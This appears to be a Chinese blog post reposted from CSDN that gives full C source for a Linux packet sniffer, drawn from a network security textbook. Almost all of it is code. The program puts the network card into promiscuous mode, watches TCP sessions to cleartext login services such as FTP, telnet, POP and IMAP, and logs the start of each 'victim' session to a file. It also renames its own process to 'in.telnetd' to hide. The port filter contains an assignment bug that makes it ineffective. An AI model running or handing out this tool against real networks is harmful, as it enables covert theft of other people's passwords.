linux c实现一个简单的sniffer

参考陈兵老师的《网络安全》一书
环境:kali linux+gcc 6.xx
具体的实现原理是,先将自己的网卡设置为混杂模式,然后从特殊的套接字中读取以太网帧,对读取的以太帧进行筛选、去报头。得到我们想要的数据。

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#include<ctype.h>
#include<netdb.h>
#include<sys/file.h>
#include<sys/time.h>
#include<time.h>
#include<sys/socket.h>
#include<sys/ioctl.h>
#include<sys/signal.h>
#include<net/if.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>
#include<netinet/if_ether.h>

#define CAPLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"

struct etherpacket{
        struct ethhdr eth;//以太网帧的头部
        struct iphdr ip;//IP报头
        struct tcphdr tcp;//tcp报头
        char   buff[8192];//数据
}ep;

struct{
        unsigned long saddr;//源地址
        unsigned long daddr;//目标地址
        unsigned short sport;//源端口
        unsigned short dport;//目标端口
        int bytes_read;
        char active;//目标主机是否处于活跃状态
        time_t start_time;
}victim;

struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;

int openintf(char *);
void clear_victim(void);
void cleanup(int);
char *hostlookup(unsigned long int);
int print_header(void);
int read_tcp(int);


int filter(void){//对读取的以太帧进行筛选
    int p=0;

    if(ip->protocol!=6)
        return 0;
    if(victim.active!=0)
        if(victim.bytes_read>CAPLEN){
            fprintf(fp,"\n-- -- - [CAPLEN Exceeded]\n");
            clear_victim();
            return 0;
        }
    if(victim.active!=0)
        if(time(NULL)>(victim.start_time+TIMEOUT)){
            fprintf(fp,"\n-- -- - [Time Out]\n");
            return 0;
        }

    int dest=ntohs(tcp->dest);
    //ntohs(),将网络字节序转换为十进制字节序
    if(dest==21||dest==23||dest==110||dest==109||dest==143||dest==513||dest==106)
        p=1;
    if(victim.active==0)
        if(p=1)
            if(tcp->syn==1){
                victim.saddr=ip->saddr;
                victim.daddr=ip->daddr;
                victim.active=1;
                victim.sport=tcp->source;
                victim.dport=tcp->dest;
                victim.bytes_read=0;
                victim.start_time=time(NULL);
                print_header();
            }
    if(tcp->dest!=victim.dport)
        return 0;
    if(tcp->source!=victim.sport)
        return 0;
    if(ip->saddr!=victim.saddr)
        return 0;
    if(ip->daddr!=victim.daddr)
        return 0;
    if(tcp->rst==1){
        victim.active=0;
        alarm(0);
        fprintf(fp,"\n-- -- -[RST]\n");
        clear_victim();
        return 0;
    }
    if(tcp->fin==1){
        victim.active=0;
        alarm(0);
        fprintf(fp,"\n-- -- - [FIN]\n");
        clear_victim();
        return 0;
    }
    return 1;
}



int read_tcp(int a){
        int x;
        while(1){
                x=read(s,(struct etherpacket*)&ep,sizeof(ep));
                //read(),从目标文件中读取以太网帧
                if(x>1){
                        if(filter()==0)
                                continue;
                        x-=54;
                        if(x<1)
                                continue;
                        return x;
                }
        }
}

int print_header(void){
    fprintf(fp,"\n");
    fprintf(fp,"%s=>",hostlookup(ip->saddr));
    fprintf(fp,"%s[%d]\n",hostlookup(ip->daddr),ntohs(tcp->dest));
}

int print_data(int datalen,char *data){
    int i=0;
    int t=0;

    victim.bytes_read+=datalen;
    for(i=0;i!=datalen;i++){
        if(data[i]==13){
            fprintf(fp,"\n");
            t=0;
        }
        if(isprint(data[i])){
            fprintf(fp,"%c",data[i]);
            t++;
        }
        if(t>75){
            t=0;
            fprintf(fp,"\n");
        }
    }
}


char *hostlookup(unsigned long int in){
    static char blah[1024];
    struct in_addr i;
    struct hostent *he;

    i.s_addr=in;
    he=gethostbyaddr((char *)&i,sizeof(struct in_addr),AF_INET);
    //获取IP对应目标主机的主机名
    if(he==NULL)
        strcpy(blah,inet_ntoa(i));
    else strcpy(blah,he->h_name);

    return blah;
}

void clear_victim(void){
    victim.saddr=0;
    victim.daddr=0;
    victim.sport=0;
    victim.dport=0;
    victim.active=0;
    victim.bytes_read=0;
    victim.start_time=0;
}

void cleanup(int sig){
        fprintf(fp,"Exiting..\n");
        close(s);
        fclose(fp);
        exit(0);
}


int openintf(char *d){
    int fd;
    struct ifreq ifr;
    int s;

    fd=socket(AF_INET,SOCK_PACKET,htons(0x800));
    //SOCK_PACKET用于获取以太网帧的套接字
    if(fd<0){
        perror("can't get SOCK_PACKET");
        exit(0);
    }

    strcpy(ifr.ifr_name,d);

    s=ioctl(fd,SIOCGIFFLAGS,&ifr);
    //I/O管道控制函数
    if(s<0){
        close(fd);
        perror("can't get flags");
        exit(0);
    }

    ifr.ifr_flags|=IFF_PROMISC;

    s=ioctl(fd,SIOCSIFFLAGS,&ifr);
    if(s<0)
            perror("can't set promiscuous mode");
    return fd;

}



int main(int argc,char *argv[]){
    sprintf(argv[0],"%s","in.telnetd");
    s=openintf("eth0");

    ip=(struct iphdr*)(((unsigned long)&ep.ip)-2);
    tcp=(struct tcphdr*)(((unsigned long)&ep.tcp)-2);

    if(argc==2)
            fp=stdout;
    else fp=fopen(TCPLOG,"at");
    if(fp==NULL){
            fprintf(stderr,"can't open log\n");
            exit(0);
    }
    clear_victim();
    for(;;){
            read_tcp(s);
            if(victim.active!=0)
                    print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),ep.buff-2);
            sleep(1);
        fflush(fp);
    }

    return 0;
}

猜你喜欢

转载自blog.csdn.net/betterc5/article/details/80603441